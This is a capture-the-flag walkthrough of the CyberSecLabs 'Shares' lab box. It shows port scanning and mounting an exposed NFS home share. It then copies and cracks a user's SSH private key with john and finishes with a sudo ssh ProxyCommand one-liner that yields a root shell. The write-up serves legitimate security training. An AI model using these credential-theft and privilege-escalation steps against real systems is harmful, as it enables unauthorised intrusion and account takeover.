> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/cyberseclab/shares.md).

# Shares

## nmap

```
mkdir nmap
sudo rustscan -a 172.31.1.7 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan
```

## Enumeration

A file system is open on port 2049, and ssh is weirdly open on port 27853

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj9PHm_LfG3k2peMAHG%2F-Mj9PjLyzsPthATmZCHh%2Fimage.png?alt=media&amp;token=a9ac2442-3929-4807-990e-6e621dc5dbf0" alt=""></div>

Looks like we can mount the home folder of user `amir`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj9PHm_LfG3k2peMAHG%2F-Mj9QF_6pp-ePJO9AIz6%2Fimage.png?alt=media&amp;token=81aea1b7-b67d-4c52-a855-e6ee2afc98b4" alt=""></div>

We can mount it by executing the following

```
mkdir /tmp/amir
sudo mount -t nfs 172.31.1.7:/home/amir /tmp/amir 
```

Upon digging in the file system, you will notice there's an ssh key inside .ssh folder.

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj9PHm_LfG3k2peMAHG%2F-Mj9R-dRtPm3Svsdx7TA%2Fimage.png?alt=media&amp;token=0226c4ea-e17f-4cb9-a66f-b9f01e986560" alt=""></div>

Copy `id_rsa` to your working directory, and `chmod` it.

```
cp id_rsa ~/infosec/cyberseclabs/shares/amir_id_rsa
chmod +x amir_id_rsa
```

The ssh key is encrypted, it means we have to crack this with `john`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj9PHm_LfG3k2peMAHG%2F-Mj9RU45E8AQpn2jBgDs%2Fimage.png?alt=media&amp;token=e5164d7c-4e8a-4b75-b220-e61b9d859ae0" alt=""></div>

```
ssh2john amir_id_rsa > amir_id_rsa.ssh2john
john amir_id_rsa.ssh2john -w=/opt/wordlist/rockyou.txt
```

After a few seconds, you will be able to get the password.

## Initial foothold

Using the SSH key, the cracked password, and the knowledge of user `amir` being existed. Now we can log in. Sweet :D

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj9PHm_LfG3k2peMAHG%2F-Mj9SYnMDFLqDYdOZQgj%2Fimage.png?alt=media&amp;token=eff3d021-9907-495f-b826-1f377be2a44d" alt=""></div>

## Privilege Escalation

We can execute python3 as user `amy`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj9PHm_LfG3k2peMAHG%2F-Mj9SudTakcz9H71XTja%2Fimage.png?alt=media&amp;token=30f3e024-dd00-4f6d-9ccb-7c76fa99e7af" alt=""></div>

We can leverage that and gain a shell as `amy`

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj9PHm_LfG3k2peMAHG%2F-Mj9THQuLoSo1oVxSEgy%2Fimage.png?alt=media&amp;token=973cd4ed-0475-44c5-8d7d-d9be2198d671" alt=""></div>

And with user amy, we can run sudo command with ssh

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj9PHm_LfG3k2peMAHG%2F-Mj9TXBU3sV6XgClGps_%2Fimage.png?alt=media&amp;token=34e698b7-e95e-4345-8824-ba57324a9933" alt=""></div>

Now we can gain root, by executing the following

```
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x    
```

Enjoy your root privilege. :D

<div align="left"><img src="https://3211174753-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MhuCb52HTt9nZusE7xn%2F-Mj9PHm_LfG3k2peMAHG%2F-Mj9Tsus42BUlzd2VNYC%2Fimage.png?alt=media&amp;token=ca6d3efb-42a4-46d7-8188-c0e657929602" alt=""></div>
